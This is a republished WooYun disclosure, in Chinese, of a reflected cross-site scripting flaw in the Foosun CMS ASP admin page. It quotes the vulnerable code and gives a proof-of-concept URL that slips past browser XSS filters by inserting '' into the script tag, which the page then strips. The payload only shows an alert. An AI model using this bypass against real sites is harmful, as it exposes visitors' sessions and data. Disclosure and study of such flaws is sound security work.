风讯CMS ASP版本反射型跨站绕过浏览器filter

admin 2015年5月18日01:50:25评论363 views字数 224阅读0分44秒阅读模式
摘要

2014-08-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-07: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(2) 关注此漏洞

缺陷编号: WooYun-2014-71493

漏洞标题: 风讯CMS ASP版本反射型跨站绕过浏览器filter

相关厂商: 风讯CMS

漏洞作者: story

提交时间: 2014-08-09 20:01

公开时间: 2014-11-07 20:04

漏洞类型: XSS跨站脚本攻击

危害等级: 低

自评Rank: 5

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 反射型xss

0人收藏


漏洞详情

披露状态:

2014-08-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

反射型跨站没啥好说的,但是绕过浏览器filter自动执行也算一个小突破吧。

详细说明:

foosuncms后台/admin/success.asp是任意用户都可以访问的。

看看出问题的代码:

code 区域
<% Option Explicit %>
<!--#include file="../FS_Inc/Const.asp" -->
<!--#include file="../FS_Inc/Function.asp" -->
<%
Dim Conn,UserConn
dim p_ErrorUrl,p_ErrCodes
p_ErrorUrl = Replace(Request.QueryString("ErrorUrl"),"''","")
p_ErrorUrl=replace(p_ErrorUrl,"***","&")
p_ErrCodes = Request.QueryString("ErrCodes")
if trim(p_ErrorUrl) = "" then
p_ErrorUrl = "javascript:history.back();"
Else
p_ErrorUrl = p_ErrorUrl
End if
%>
...
<td width="88%">
<div align="left">
<% = p_ErrCodes %>
<li><a href="<% = p_ErrorUrl %>">返回上一级</a> </li>
<li><a href="http://**.**.**.**" target="_blank">Powered by Foosun Inc.</a> <a href="http://**.**.**.**" target="_blank" style="cursor: help">帮助中心</a> <a href="http://**.**.**.**" target="_blank">技术论坛</a></li>
</div>

上面获得了ErrorUrl参数,在52行的位置将它放进a的href中了。

原本就是一个不用绕过浏览器filter的跨站,但是需要点击触发:

风讯CMS ASP版本反射型跨站绕过浏览器filter

明显不是我们要想的结果。

那么怎么绕过浏览器filter自动执行?

首先我们要知道浏览器过滤哪些关键字,很常见的就是一个<script>,或者onerror中的on,浏览器只要见到这二者就是会过滤的:

风讯CMS ASP版本反射型跨站绕过浏览器filter

再深入一点就提到浏览器filter的原理,浏览器过滤的时候是检测url的参数中、页面源代码中是否有同样的xss字段,如果有的话才说明存在跨站,才进行拦截。

也就是说,如果url中的内容和html源码中的内容不同的话,浏览器不认为这是一个跨站,也就不会防御。

所以我们看到这行代码:

code 区域
p_ErrorUrl = Replace(Request.QueryString("ErrorUrl"),"''","")

它获取到ErrorUrl后,过滤了''为空。

所以,我们不妨将浏览器会过滤的敏感字符串(如script)中加入'',变成<scr''ipt>,这样url中的字符串是scr''ipt,但显示在html中的字符串是script,这样浏览器就不会拦截了。

所以我最后构造的payload就是:

code 区域
http://**.**.**.**/foosun500/Admin/success.asp?ErrorUrl=%22%3E%3Cscr%27%27ipt%3Ealert(/xss/)%3C/scr%27%27ipt%3E

如图:

风讯CMS ASP版本反射型跨站绕过浏览器filter

demo站演示

风讯CMS ASP版本反射型跨站绕过浏览器filter

漏洞证明:

所以我最后构造的payload就是:

code 区域
http://**.**.**.**/foosun500/Admin/success.asp?ErrorUrl=%22%3E%3Cscr%27%27ipt%3Ealert(/xss/)%3C/scr%27%27ipt%3E

如图:

风讯CMS ASP版本反射型跨站绕过浏览器filter

demo站演示

风讯CMS ASP版本反射型跨站绕过浏览器filter

修复方案:

过滤。

版权声明:转载请注明来源 story@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin